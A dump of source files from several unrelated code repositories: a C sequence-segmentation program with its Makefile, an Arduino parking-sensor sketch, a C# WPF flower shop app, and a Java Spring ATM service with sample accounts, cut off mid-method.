int i, j, k;
int cuNum;
int dn;
long n0;
long nw;
int k_or_e = 1;
int iterNum;
float iterThres = 0.1;
int initProbFirst = 0;
const char* probFileName = "";
for(i = 1; i < argc; i++)
{
if(argv[i][0] != '-')
continue;
switch(argv[i][1])
{
case 'c':
cuNum = atoi(argv[++i]);
break;
case 'n':
nw = atol(argv[++i]);
break;
case 'w':
dn = atoi(argv[++i]);
break;
case 'k':
iterNum = atoi(argv[++i]);
k_or_e = 1;
break;
case 'e':
iterThres = atof(argv[++i]);
k_or_e = 0;
break;
case 'p':
initProbFirst = 1;
i++;
probFileName = argv[i];
break;
default:
fprintf(stderr, "Unknown option: %c\n", argv[i][1]);
break;
}
}
float q[cuNum+1][64], q1[cuNum+1][64];
FILE *fp; // input sequence
FILE *fq; // output
FILE *fq1; //
float class_prob[cuNum+1], phase_prob[cuNum*6+1];
// Alloc memory for each window's scores of (6*cuNum+1) phases
float **id_score = (float **)malloc(sizeof(float *) * nw);
for(i=0; i<nw; i++)
id_score[i] = malloc((6 * cuNum + 1)* sizeof(float));
if(initProbFirst)
{
readProb(probFileName, cuNum, class_prob, phase_prob, q, q1);
}
else
{
srand(time(NULL));
for(i = 0; i < nw; i++)
for(j = 0; j < (7*cuNum); j++)
id_score[i][j] = rand()%10000;
for(i = 0; i < cuNum + 1; i++)
for(j = 0; j < 64; j++)
q1[i][j] = 1.;
}
fp = fopen_or_die(argv[1], "r");
if(access(argv[2], 0) == -1)
mkdir(argv[2], 0755);
char outcut[1024];
sprintf(outcut, "%s%s", argv[2], "/cut");
fq = fopen_or_die(outcut, "w");
char outid[1024];
sprintf(outid, "%s%s", argv[2], "/id_score");
fq1 = fopen_or_die(outid, "w");
k = 0;
n0 = 0;
int errAC;
float P_score = 0., Q_score = 0.;
do {
k++;
if(initProbFirst)
{
Q_score = iter_M(fp, n0, dn, id_score, cuNum, q, nw, class_prob, phase_prob);
iter_E(fp, n0, dn, id_score, cuNum, q, nw, class_prob, phase_prob);
}
else
{
iter_E(fp, n0, dn, id_score, cuNum, q, nw, class_prob, phase_prob);
Q_score = iter_M(fp, n0, dn, id_score, cuNum, q, nw, class_prob, phase_prob);
}
P_score = calP(cuNum, id_score, nw);
fprintf_prob(fq, P_score, Q_score, class_prob, phase_prob, q, cuNum, k);
errAC = err(iterThres, cuNum, q, q1);
}while(k_or_e ? (k < iterNum) : errAC);
fclose(fp);
/********************************************************
* Assign phase with maximal probability to each window
*********************************************************/
int cuid, id, id2cu;
float max, xcu[cuNum];
for(j=0; j<nw; j++) {
for(k=0; k<cuNum+1; k++)
xcu[k] = 0.;
for(k=0; k<(cuNum*6+1); k++){
id2cu = ceil(k/6.);
xcu[id2cu] += id_score[j][k];
}
max = xcu[0];
cuid = 0;
for(i=1; i<(cuNum+1); i++) {
if(max<xcu[i]) {
max = xcu[i];
cuid = i;
}
}
if(cuid == 0) {
id = 0;
fprintf(fq1, "%d\t%e\n", id, max);
}else{
max = id_score[j][cuid*6-5];
id = cuid*6-5;
for(i=cuid*6-4; i<(cuid*6+1); i++) {
if(max<id_score[j][i]) {
max = id_score[j][i];
id = i;
}
}
fprintf(fq1, "%d\t%e\n", id, max);
}
}
fclose(fq1);
for(i = 0; i < nw; i++)
free(id_score[i]);
free(id_score);
return 0;
}
<file_sep>CC = gcc -g
CFLAGS = -O2 -Wall
sega: main.o train.o seq2qu.o util.o
$(CC) $(CFLAGS) -o ../bin/sega main.o train.o seq2qu.o util.o -lm -lz
main.o: main.c
$(CC) $(CFLAGS) -c main.c
train.o: train.c util.h
$(CC) $(CFLAGS) -c train.c
seq2qu.o: seq2qu.c util.h
$(CC) $(CFLAGS) -c seq2qu.c
util.o: util.c util.h
$(CC) $(CFLAGS) -c util.c
| e34ea835c5557957aeec87a4072a51e108af24c1 | [
"Markdown",
"C",
"Makefile"
] | 7 | C | zjf/sega | 0bfc082bf82932e82246d28e56b921f54776c6fd | 227f0bd2611dcf851d1ea722c657e30390857a19 |
refs/heads/master | <file_sep>#include <LiquidCrystal.h>
int echoPin = 2;
int trigPin = 3;
int speakerPin = 5;
int redPin = 4;
int greenPin = 1;
int yellowPins[] = {6, 7};
int rs = 12;
int enable = 13;
int d4 = 8, d5 = 9, d6 = 10, d7 = 11;
LiquidCrystal lcd(rs, enable, d4, d5, d6, d7);
void setup()
{
Serial.begin(9600);
lcd.begin(16, 2);
pinMode(trigPin, OUTPUT);
pinMode(echoPin, INPUT);
for (int i = 4; i <= 7; i++)
pinMode(i, OUTPUT);
}
void loop()
{
long duration = 0, distanceCM = 0;
long FirstWarningDistance = 50;
long SecondWarningDistance = 30;
long ThirdWarningDistance = 20;
long maxDistance = 10;
int lcd_dt = 250; //delay time (LCD)
//clear trigPin
digitalWrite(trigPin, LOW);
delayMicroseconds(2);
//wave for 10 us
digitalWrite(trigPin, HIGH);
delayMicroseconds(10);
digitalWrite(trigPin, LOW);
//echoPin reads wave travel time in us
duration = pulseIn(echoPin, HIGH);
distanceCM = 0.017 * duration;
if (distanceCM <= maxDistance)
{
finalWarning();
}
else if (distanceCM <= ThirdWarningDistance)
{
thirdWarning(distanceCM, ThirdWarningDistance);
redBlink(distanceCM, ThirdWarningDistance);
}
else if (distanceCM <= SecondWarningDistance)
{
secondWarning();
}
else if (distanceCM <= FirstWarningDistance)
{
firstWarning();
}
else
{
noWarning();
}
//LCD printing
lcd.setCursor(0, 0);
lcd.print("Distance: ");
lcd.print(distanceCM);
lcd.print(" cm");
delay(lcd_dt);
lcd.clear();
//Serial Monitor printing
Serial.print("Distance: ");
Serial.print(distanceCM);
Serial.print(" cm\n");
}
void firstWarning()
{
analogWrite(speakerPin, 0);
digitalWrite(greenPin, HIGH);
digitalWrite(yellowPins[0], HIGH);
digitalWrite(yellowPins[1], LOW);
digitalWrite(redPin, LOW);
}
void secondWarning()
{
analogWrite(speakerPin, 0);
digitalWrite(greenPin, HIGH);
digitalWrite(yellowPins[0], HIGH);
digitalWrite(yellowPins[1], HIGH);
digitalWrite(redPin, LOW);
}
void thirdWarning(long distance, long thirdWarningValue)
{
int dt = 100;
while(distance <= thirdWarningValue){
analogWrite(speakerPin, 100);
delay(dt);
analogWrite(speakerPin, 0);
break;
}
digitalWrite(greenPin, HIGH);
digitalWrite(yellowPins[0], HIGH);
digitalWrite(yellowPins[1], HIGH);
digitalWrite(redPin, LOW);
}
void finalWarning()
{
analogWrite(speakerPin, 100);
digitalWrite(greenPin, HIGH);
digitalWrite(yellowPins[0], HIGH);
digitalWrite(yellowPins[1], HIGH);
digitalWrite(redPin, HIGH);
}
void noWarning()
{
analogWrite(speakerPin, 0);
digitalWrite(greenPin, HIGH);
digitalWrite(yellowPins[0], LOW);
digitalWrite(yellowPins[1], LOW);
digitalWrite(redPin, LOW);
}
void redBlink(long distance, long maxValue)
{
int dt = 50;
while (distance <= maxValue)
{
digitalWrite(redPin, HIGH);
delay(dt);
digitalWrite(redPin, LOW);
delay(dt);
break;
}
}
<file_sep># Arduino Parking Sensor
-------------------------------------------------------------------------------------------------------------
Arduino parking sensor with Arduino UNO. It uses an ultrasonic sensor which emmits ultrasound sound waves and
measures the distance of the object in front of it. We also used 4 LEDs (green, yellow, red) and a speaker in order to warn
if an object is close enough to the sensor.
-------------------------------------------------------------------------------------------------------------
#### COMPONENTS:
- Arduino UNO
- 1 green LED, 2 yellow LEDs, 1 red LED
- 5 220 ohm resistors
- 10k ohm potensiometer
- LCD Screen
- Ultrasonic Sensor HC-SR04
- 8 ohm Speaker
- Wires
- Breadboard
- 9V Battery (optional)
-------------------------------------------------------------------------------------------------------------
| d86d39a11198b839d5cbec5114f7930f4ad09e0e | [
"Markdown",
"C++"
] | 2 | C++ | SpPap/arduino-parking-sensor | e03fa30f40cbc44ee432e3724ba9344f471dd760 | 40f25a3b308056e1575519f090b42768ea393bdb |
refs/heads/master | <file_sep>using FlowerShopIT.Models;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Navigation;
using System.Windows.Shapes;
namespace FlowerShopIT
{
/// <summary>
/// Interaction logic for FlowerShopHome.xaml
/// </summary>
public partial class FlowerShopHome : Page
{
public FlowerShopHome()
{
InitializeComponent();
DataContext = FlowerShop.GetDetails();
}
private void ButtonTree_Click(object sender, RoutedEventArgs e)
{
AddTreePage addTreePage = new AddTreePage();
this.NavigationService.Navigate(addTreePage);
}
private void ButtonFlower_Click(object sender, RoutedEventArgs e)
{
AddFlowerPage addFlowerPage = new AddFlowerPage();
this.NavigationService.Navigate(addFlowerPage);
}
private void ButtonDeco_Click(object sender, RoutedEventArgs e)
{
AddDecorationPage addDecorationPage = new AddDecorationPage();
this.NavigationService.Navigate(addDecorationPage);
}
private void ViewStock_Click(object sender, RoutedEventArgs e)
{
StockPage stockPage = new StockPage();
this.NavigationService.Navigate(stockPage);
}
}
}
<file_sep>using FlowerShopIT.Models;
using System;
using System.Collections.Generic;
using System.Globalization;
using System.Linq;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Shapes;
namespace FlowerShopIT
{
/// <summary>
/// Interaction logic for AddDecorationWindow.xaml
/// </summary>
public partial class AddDecorationPage : Page
{
public AddDecorationPage()
{
InitializeComponent();
DataContext = FlowerShop.GetDetails();
}
static float CheckString(string _string)
{
float _float = float.Parse(_string, CultureInfo.InvariantCulture.NumberFormat);
return _float;
}
private void NumberValidationTextBox ( object sender, TextCompositionEventArgs e )
{
Regex regex = new Regex ( @"^[0-9]*(?:\.[0-9]*)?$" );
if(regex.IsMatch ( e.Text ) && !(e.Text == "." && ((TextBox)sender).Text.Contains ( e.Text )))
e.Handled = false;
else
e.Handled = true;
}
private void AddDecorationMethod(object sender, RoutedEventArgs e)
{
string material = DecorationMaterial.Text;
float price = CheckString(DecorationPrice.Text);
Decoration newDecoration = new Decoration(price, material);
DataContext = FlowerShop.AddStock(newDecoration);
NavigationService.GoBack();
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace FlowerShopIT.Models
{
public class Flower : IProduct
{
public string Color { get; set; }
public float Price { get; set; }
public Flower (float _price, string _color)
{
Price = _price;
Color = _color;
}
}
}
<file_sep>using FlowerShopIT.Models;
using System;
using System.Collections.Generic;
using System.Globalization;
using System.Linq;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Shapes;
namespace FlowerShopIT
{
/// <summary>
/// Interaction logic for AddTreeWindow.xaml
/// </summary>
public partial class AddTreePage : Page
{
public AddTreePage()
{
InitializeComponent();
DataContext = FlowerShop.GetDetails();
}
static float CheckString(string _string)
{
float _float = float.Parse(_string, CultureInfo.InvariantCulture.NumberFormat);
return _float;
}
private void NumberValidationTextBox ( object sender, TextCompositionEventArgs e )
{
Regex regex = new Regex ( @"^[0-9]*(?:\.[0-9]*)?$" );
if(regex.IsMatch ( e.Text ) && !(e.Text == "." && ((TextBox)sender).Text.Contains ( e.Text )))
e.Handled = false;
else
e.Handled = true;
}
private void AddTreeMethod(object sender, RoutedEventArgs e)
{
float height = CheckString(TreeHeight.Text);
float price = CheckString(TreePrice.Text);
Tree newTree = new Tree(price, height);
DataContext = FlowerShop.AddStock(newTree);
NavigationService.GoBack();
}
}
}
<file_sep>using System;
using System.Collections;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.Globalization;
using System.Linq;
using System.Runtime.CompilerServices;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Navigation;
namespace FlowerShopIT.Models
{
public class FlowerShop
{
public ObservableCollection<IProduct> Stock { get; set; }
public ObservableCollection<string> FlowerStock { get; set; }
public ObservableCollection<string> TreeStock { get; set; }
public ObservableCollection<string> DecorationStock { get; set; }
static FlowerShop _flowerShop;
private string name;
public FlowerShop ( ) { }
public FlowerShop ( string name )
{
this.name = name;
}
public string Name
{
get { return this.name; }
set { this.name = checkName ( value ); }
}
private string checkName ( string name )
{
while(string.IsNullOrEmpty ( name ) || name.Length < 3)
{
throw new ArgumentException ( "Flower Shop cannot be empty" );
}
return name;
}
public static FlowerShop GetDetails()
{
if (_flowerShop == null)
_flowerShop = new FlowerShop();
return _flowerShop;
}
public static FlowerShop AddStock(IProduct product)
{
if (_flowerShop.Stock == null)
_flowerShop.Stock = new ObservableCollection<IProduct>();
_flowerShop.Stock.Add(product);
return _flowerShop;
}
// https://stackoverflow.com/a/15341181
public static bool HasProperty(object obj, string propertyName)
{
return obj.GetType().GetProperty(propertyName) != null;
}
public static FlowerShop GenerateProductStocks()
{
if (_flowerShop.Stock == null)
_flowerShop.Stock = new ObservableCollection<IProduct>();
_flowerShop.FlowerStock = new ObservableCollection<string>();
_flowerShop.TreeStock = new ObservableCollection<string>();
_flowerShop.DecorationStock = new ObservableCollection<string>();
foreach (IProduct product in _flowerShop.Stock)
{
if (product.GetType().GetProperty("Color") != null)
{
_flowerShop.FlowerStock.Add($"Color: {((Flower)product).Color}, Price: {product.Price.ToString("C", CultureInfo.CurrentCulture)}");
}
else if (product.GetType().GetProperty("Height") != null)
{
_flowerShop.TreeStock.Add($"Height: {((Tree)product).Height:n2}, Price: {product.Price.ToString("C", CultureInfo.CurrentCulture)}");
}
else
{
_flowerShop.DecorationStock.Add($"Material: {((Decoration)product).Material}, Price: {product.Price.ToString("C", CultureInfo.CurrentCulture)}");
}
}
if (!_flowerShop.FlowerStock.Any())
_flowerShop.FlowerStock.Add($"{_flowerShop.Name} has no flowers yet!");
if (!_flowerShop.TreeStock.Any())
_flowerShop.TreeStock.Add($"{_flowerShop.Name} has no trees yet!");
if (!_flowerShop.DecorationStock.Any())
_flowerShop.DecorationStock.Add($"{_flowerShop.Name} has no decorations yet!");
return _flowerShop;
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace FlowerShopIT.Models
{
public class Decoration : IProduct
{
// USer attribute Material type
public string Material { get; set; }
public float Price { get; set; }
// Constructor
public Decoration (float _price, string _material)
{
Price = _price;
Material = _material;
}
}
}
<file_sep>using FlowerShopIT.Models;
using System;
using System.Collections.Generic;
using System.Globalization;
using System.Linq;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Shapes;
namespace FlowerShopIT
{
/// <summary>
/// Interaction logic for AddFlowerWindow.xaml
/// </summary>
public partial class AddFlowerPage : Page
{
public AddFlowerPage()
{
InitializeComponent();
}
static float CheckString(string _string)
{
float _float = float.Parse(_string, CultureInfo.InvariantCulture.NumberFormat);
return _float;
}
private void validateTextCharacter ( object sender, EventArgs e )
{
TextBox T = (TextBox)sender;
try
{
//Not Allowing Numbers
char[] UnallowedCharacters = { '0', '1',
'2', '3',
'4', '5',
'6', '7',
'8', '9'};
if(textContainsUnallowedCharacter ( T.Text, UnallowedCharacters ))
{
int CursorIndex = T.SelectionStart - 1;
T.Text = T.Text.Remove ( CursorIndex, 1 );
//Align Cursor to same index
T.SelectionStart = CursorIndex;
T.SelectionLength = 0;
}
}
catch(Exception) { }
}
private bool textContainsUnallowedCharacter ( string T, char[] UnallowedCharacters )
{
for(int i = 0; i < UnallowedCharacters.Length; i++)
if(T.Contains ( UnallowedCharacters[i] ))
return true;
return false;
}
private string checkColorName ( string name )
{
while(string.IsNullOrEmpty ( name ) )
{
throw new ArgumentException ( "Flower Shop cannot be empty" );
}
return name;
}
private void NumberValidationTextBox ( object sender, TextCompositionEventArgs e )
{
Regex regex = new Regex ( @"^[0-9]*(?:\.[0-9]*)?$" );
if(regex.IsMatch ( e.Text ) && !(e.Text == "." && ((TextBox)sender).Text.Contains ( e.Text )))
e.Handled = false;
else
e.Handled = true;
}
private void AddFlowerMethod(object sender, RoutedEventArgs e)
{
string color = checkColorName(FlowerColor.Text);
float price = CheckString(FlowerPrice.Text);
Flower newFlower = new Flower(price, color);
DataContext = FlowerShop.AddStock(newFlower);
NavigationService.GoBack();
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace FlowerShopIT.Models
{
public class Tree : IProduct
{
public float Height { get; set; }
public float Price { get; set; }
public Tree (float _price, float _height)
{
Price = _price;
Height = _height;
}
}
}
| da1b11910e1ec8ee2ab60982a26a3d4a59f6a0cf | [
"C#"
] | 8 | C# | chicacode/FlowerShopIT | 9145d8d29825e5b3c3374bd75180e5ba742fdc58 | 7bb192b06ba1586fabb78d6dd36b87327f3f8a4d |
refs/heads/master | <repo_name>vakhokoto/Simple-Web-in-Java<file_sep>/HW5Web2/src/Info/Product.java
package Info;
/**
* This is class for storing item information
* includinf ID, name, price and image name
*
* @author <NAME>
* */
public class Product {
private String id, name, imgName;
private double price;
public Product(String id, String name, String imgName, double price){
this.id = id;
this.name = name;
this.imgName = imgName;
this.price = price;
}
/**
* This method returns id of the product
*
* @return String id of product
* */
public String getId(){
return id;
}
/**
* This method returns name of the product
*
* @return String name of product
* */
public String getName(){
return name;
}
/**
* This method returns image name of the product
*
* @return String image name of product
* */
public String getImgName(){
return imgName;
}
/**
* This method returns price of the product
*
* @return double price of product
* */
public double getPrice(){
return price;
}
}
<file_sep>/HW5Web/src/LogInServlet.java
import WebInfo.AccountManager;
import javax.servlet.RequestDispatcher;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
@WebServlet(name = "LogInServlet", urlPatterns = {"/LogInServlet", "/login"})
public class LogInServlet extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String userName = request.getParameter("username");
String password = request.getParameter("password");
AccountManager manager = (AccountManager) getServletContext().getAttribute("accountManager");
if (manager.isCorrectAccount(userName, password)){
RequestDispatcher dispatcher = request.getRequestDispatcher("Found.jsp");
dispatcher.forward(request, response);
} else {
RequestDispatcher dispatcher = request.getRequestDispatcher("NotFound.jsp");
dispatcher.forward(request, response);
}
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
}
}
<file_sep>/HW5Web2/src/Info/ShoppingCart.java
package Info;
/**
* This is a class which stores Cart information item which are selected
* number of each items user wants to buy and
* This is a singleton class in the case but it can be modified so as to be single for the user but not a singleton
* */
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
public class ShoppingCart {
private static ShoppingCart cart;
private static HashMap<String, Product> data;
private static HashMap<String, Integer> number;
public static final String ATTRIBUTE_NAME = "shoppingCart";
private ShoppingCart(){
data = new HashMap<>();
number = new HashMap<>();
}
/**
* This method returns the numbe of different type of items
*
* @return int the number of different type of items in the cart
* */
public int itemNum(){
return data.size();
}
/**
* This method returns list of product information but not the number
*
* @return List<Product> products in the cart
* @see Info.Product
* */
public List<Product> getItemList(){
List<Product> ansList = new ArrayList<>();
for (String id : data.keySet()) {
ansList.add(data.get(id));
}
return ansList;
}
/**
* This method adds new item in the cart with quantity eqal to 1
*
* @param newProduct item to be added
* @see Info.Product
* */
public void addItem(Product newProduct){
data.put(newProduct.getId(), newProduct);
number.put(newProduct.getId(), 1);
}
/**
* This method returns the product info by for the product with specified id
*
* @param id ID of the item
* @return Product information for the product
* @see Info.Product
* */
public Product getItem(String id){
return data.get(id);
}
/**
* This method updates number of the specified item in the cart
*
* @param id ID of the item
* @param newNumber new number of item to be in the cart
* */
public void updateItemNumber(String id, int newNumber){
number.put(id, newNumber);
}
/**
* This method returns number of the specified item in the cart
*
* @param id items id
* @return numver of the item with id equal to "id"
* */
public int getItemNumber(String id){
return number.get(id);
}
/**
* This method tells you whether the items is in the cart
*
* @param id id of the item
* @return true if item is in the cart
* false otherwise
* */
public boolean containsItem(String id){
return data.containsKey(id);
}
/**
* This method removes item from the cart
*
* @param id id of the item
* */
public void remove(String id){
data.remove(id);
number.remove(id);
}
/**
* Because the class is singleton in the case it needs gteInstance method to create
* new instance of the type and this is the one for this class
*
* @return ShoppingCart the cart which is singleton
* */
public static ShoppingCart getInstance(){
if (cart == null){
synchronized (ShoppingCart.class){
if (cart == null){
cart = new ShoppingCart();
}
}
}
return cart;
}
}
| aac67baf98d5081903305bfe7439e4d02a6a113c | [
"Java"
] | 3 | Java | vakhokoto/Simple-Web-in-Java | 6e51e5aba776e8cf6574e15c9de090db07490db7 | 720c3d5d1f75b609647783cbdfb2a2ca42a9dcd4 |
refs/heads/master | <repo_name>adeen-s/Euler-Solutions<file_sep>/Euler2.java
import java.io.*;
import java.util.*;
public class Solution
{
public static void main(String[] args)
{
Scanner stdin=new Scanner(System.in);
PrintStream stdout=new PrintStream(System.out);
long i=1,j=2;
long c=3,N=stdin.nextLong();
long lim=stdin.nextLong();
long sum=2;
for(int k=1;k<=N;k++)
{
while(c<lim)
{
c=i+j;
i=j;
j=c;
if(c>lim)
break;
if(c%2==0)
sum+=c;
}
stdout.println(sum);
sum=2;
i=1;j=2;c=3;
lim=stdin.nextLong();
}
}
}
<file_sep>/README.md
# Euler-Solutions
This contains solutions to Project Euler questions. Do not view the contents as it contains solution spoilers. Go ahead only if you have solved the problems already.
Code is not commented to prevent people from copying the approach to solutions.
<file_sep>/Euler4.java
public class Euler4
{
public static void main(String args[])
{
int largest=0;
for(int i=100;i<=999;i++)
{
for(int j=100;j<=999;j++)
{
if(isPalindrome(i*j) && (i*j)>largest)
{
largest=i*j;
}
}
}
System.out.println(largest);
}
public static boolean isPalindrome(int n)
{
int dig=0,num=0,n2=n;
while (n>0)
{
dig=n%10;
num=num*10+dig;
n/=10;
}
if(num==n2)
return true;
return false;
}
}
<file_sep>/Euler5.java
public class Euler5
{
public static void main(String args[])
{
System.out.println(19*17*13*11*7*3*3*2*2*2*2*5);
}
}
<file_sep>/Euler1.java
import java.io.*;
import java.util.*;
public class Solution {
public static void main(String[] args) {
PrintStream stdout=new PrintStream(System.out);
Scanner stdin=new Scanner(System.in);
Long N=Long.parseUnsignedLong(stdin.next());
long T;
long c=0;
for(int i=0;i<N;i++)
{
T=Long.parseUnsignedLong(stdin.next());
for(int j=2;j<T;j++)
{
if(j%3==0 || j%5==0)
c=c+j;
}
stdout.println(c);
c=0;
}
}
}
| c7161bf92ea9bebb08e13d62387a114d253ca081 | [
"Markdown",
"Java"
] | 5 | Java | adeen-s/Euler-Solutions | 95336171c3fd335d76d900a994a54543a987b944 | 2fcc1c62c9be2249bc3d5720d576189a290acc9f |
refs/heads/master | <file_sep>server.port=8083
spring.profiles.active=@spring.profiles.active@
management.server.port: 9001
management.server.address: 127.0.0.1<file_sep>package com.jnj.atm.model;
import java.util.Date;
/**
* @author <NAME>
*
*/
public class ErrorDetails {
private String txnID;
private Date timestamp;
private int errorCode;
private String errorReason;
public Date getTimestamp() {
return timestamp;
}
public void setTimestamp(Date timestamp) {
this.timestamp = timestamp;
}
public int getErrorCode() {
return errorCode;
}
public void setErrorCode(int errorCode) {
this.errorCode = errorCode;
}
public String getErrorReason() {
return errorReason;
}
public void setErrorReason(String errorReason) {
this.errorReason = errorReason;
}
public String getTxnID() {
return txnID;
}
public void setTxnID(String txnID) {
this.txnID = txnID;
}
}
<file_sep>package com.jnj.atm.msg;
/**
* @author <NAME>
*
*/
public enum SuccessMessages {
WELCOME_TEMPLATE(2001, "Welcome to ATM, %s!"),
DEPOSIT_SUCCESS(2002, "Money Deposited to your Bank account %s Successfully");
private final int code;
private final String description;
private SuccessMessages(int code, String description) {
this.code = code;
this.description = description;
}
public String getDescription() {
return description;
}
public int getCode() {
return code;
}
}<file_sep>package com.jnj.atm.model;
import java.util.Date;
/**
* @author <NAME>
*
*/
public class SuccessDetails {
private String txnID;
private Date timestamp;
private int successCode;
private String successMessage;
public String getTxnID() {
return txnID;
}
public void setTxnID(String txnID) {
this.txnID = txnID;
}
public Date getTimestamp() {
return timestamp;
}
public void setTimestamp(Date timestamp) {
this.timestamp = timestamp;
}
public int getSuccessCode() {
return successCode;
}
public void setSuccessCode(int successCode) {
this.successCode = successCode;
}
public String getSuccessMessage() {
return successMessage;
}
public void setSuccessMessage(String successMessage) {
this.successMessage = successMessage;
}
}
<file_sep>package com.jnj.atm.model;
import java.math.BigDecimal;
import java.util.Date;
import com.fasterxml.jackson.annotation.JsonProperty;
/**
* @author <NAME>
*
*/
public class AccountBalance {
private String txnID;
private String acctNum;
private String acctName;
private BigDecimal balance;
private BigDecimal overdraftBalance;
private String alpha3CurrencyCode;
private Date timestamp;
@JsonProperty("accountNumber")
public String getAcctNum() {
return acctNum;
}
@JsonProperty("accountName")
public String getAcctName() {
return acctName;
}
@JsonProperty("transactionID")
public String getTxnID() {
return txnID;
}
@JsonProperty("accountBalance")
public BigDecimal getBalance() {
return balance;
}
public Date getTimestamp() {
return timestamp;
}
public void setTxnID(String txnID) {
this.txnID = txnID;
}
public void setAcctNum(String acctNum) {
this.acctNum = acctNum;
}
public void setAcctName(String acctName) {
this.acctName = acctName;
}
public void setBalance(BigDecimal balance) {
this.balance = balance;
}
public void setTimestamp(Date timestamp) {
this.timestamp = timestamp;
}
public String getAlpha3CurrencyCode() {
return alpha3CurrencyCode;
}
public void setAlpha3CurrencyCode(String alpha3CurrencyCode) {
this.alpha3CurrencyCode = alpha3CurrencyCode;
}
public BigDecimal getOverdraftBalance() {
return overdraftBalance;
}
public void setOverdraftBalance(BigDecimal overdraftBalance) {
this.overdraftBalance = overdraftBalance;
}
}
<file_sep>package com.jnj.atm.dao;
import java.math.BigDecimal;
import java.math.BigInteger;
import java.util.Currency;
import java.util.HashMap;
import java.util.Map;
import org.springframework.stereotype.Repository;
import com.jnj.atm.model.ATMUserAccount;
/**
* @author <NAME>
*
*/
@Repository
public class ATMUserAccountDAO {
private static final Map<BigInteger, ATMUserAccount> acctMap = new HashMap();
/**
* This Static Block is to initialize ATM User Account loaded with some initial
* Balance.
*/
static {
initATMUserAccounts();
}
/**
* This Static method is to initialize ATM User Account loaded with some initial
* Balance.
*/
private static void initATMUserAccounts() {
ATMUserAccount acct1 = new ATMUserAccount();
acct1.setAcctNo(BigInteger.valueOf(123456789));
acct1.setAcctName("<NAME>");
acct1.setCurrency(Currency.getInstance("EUR"));
acct1.setPin(1234);
acct1.setOpeningBal(BigDecimal.valueOf(800.00));
acct1.setOverdraft(BigDecimal.valueOf(200.00));
ATMUserAccount acct2 = new ATMUserAccount();
acct2.setAcctNo(BigInteger.valueOf(987654321));
acct2.setAcctName("<NAME>");
acct2.setCurrency(Currency.getInstance("EUR"));
acct2.setPin(4321);
acct2.setOpeningBal(BigDecimal.valueOf(1230.00));
acct2.setOverdraft(BigDecimal.valueOf(150.00));
ATMUserAccount acct3 = new ATMUserAccount();
acct3.setAcctNo(BigInteger.valueOf(111111111));
acct3.setAcctName("<NAME>");
acct3.setCurrency(Currency.getInstance("EUR"));
acct3.setPin(1111);
acct3.setOpeningBal(BigDecimal.valueOf(1110));
acct3.setOverdraft(BigDecimal.valueOf(110));
ATMUserAccount acct4 = new ATMUserAccount();
acct4.setAcctNo(BigInteger.valueOf(222222222));
acct4.setAcctName("<NAME>");
acct4.setCurrency(Currency.getInstance("EUR"));
acct4.setPin(2222);
acct4.setOpeningBal(BigDecimal.valueOf(2222.22));
acct4.setOverdraft(BigDecimal.valueOf(222.22));
ATMUserAccount acct5 = new ATMUserAccount();
acct5.setAcctNo(BigInteger.valueOf(333333333));
acct5.setAcctName("<NAME>");
acct5.setCurrency(Currency.getInstance("EUR"));
acct5.setPin(3333);
acct5.setOpeningBal(BigDecimal.valueOf(3333.33));
acct5.setOverdraft(BigDecimal.valueOf(333.33));
ATMUserAccount acct6 = new ATMUserAccount();
acct6.setAcctNo(BigInteger.valueOf(444444444));
acct6.setAcctName("<NAME>");
acct6.setCurrency(Currency.getInstance("EUR"));
acct6.setPin(4444);
acct6.setOpeningBal(BigDecimal.valueOf(4444.44));
acct6.setOverdraft(BigDecimal.valueOf(444.44));
acctMap.put(acct1.getAcctNo(), acct1);
acctMap.put(acct2.getAcctNo(), acct2);
acctMap.put(acct3.getAcctNo(), acct3);
acctMap.put(acct4.getAcctNo(), acct4);
acctMap.put(acct5.getAcctNo(), acct5);
acctMap.put(acct6.getAcctNo(), acct6);
}
/**
* This method return the account for the given account number.
*
* @param acctNo
* Account Number
* @return ATMUserAccount
*/
public ATMUserAccount getATMUserAccount(BigInteger acctNo) {
return acctMap.get(acctNo);
}
/**
* This method update the Opening Balance and Overdraft Balance of the ATM user
* account.
*
* @param acct
* ATMUserAccount
* @param withdrawAmt
* Withdraw Amount
* @return ATMUserAccount
*/
public synchronized ATMUserAccount updateATMUserAccount(ATMUserAccount acct, String withdrawAmt) {
ATMUserAccount accountToUpdate = acct;
BigDecimal withdrawAmount = new BigDecimal(withdrawAmt);
if (accountToUpdate.getOpeningBal().compareTo(withdrawAmount) >= 0) {
BigDecimal currentOpeningBalance = accountToUpdate.getOpeningBal().subtract(withdrawAmount);
accountToUpdate.setOpeningBal(currentOpeningBalance);
} else {
BigDecimal overdraftWithdrawAmt = withdrawAmount.subtract(accountToUpdate.getOpeningBal());
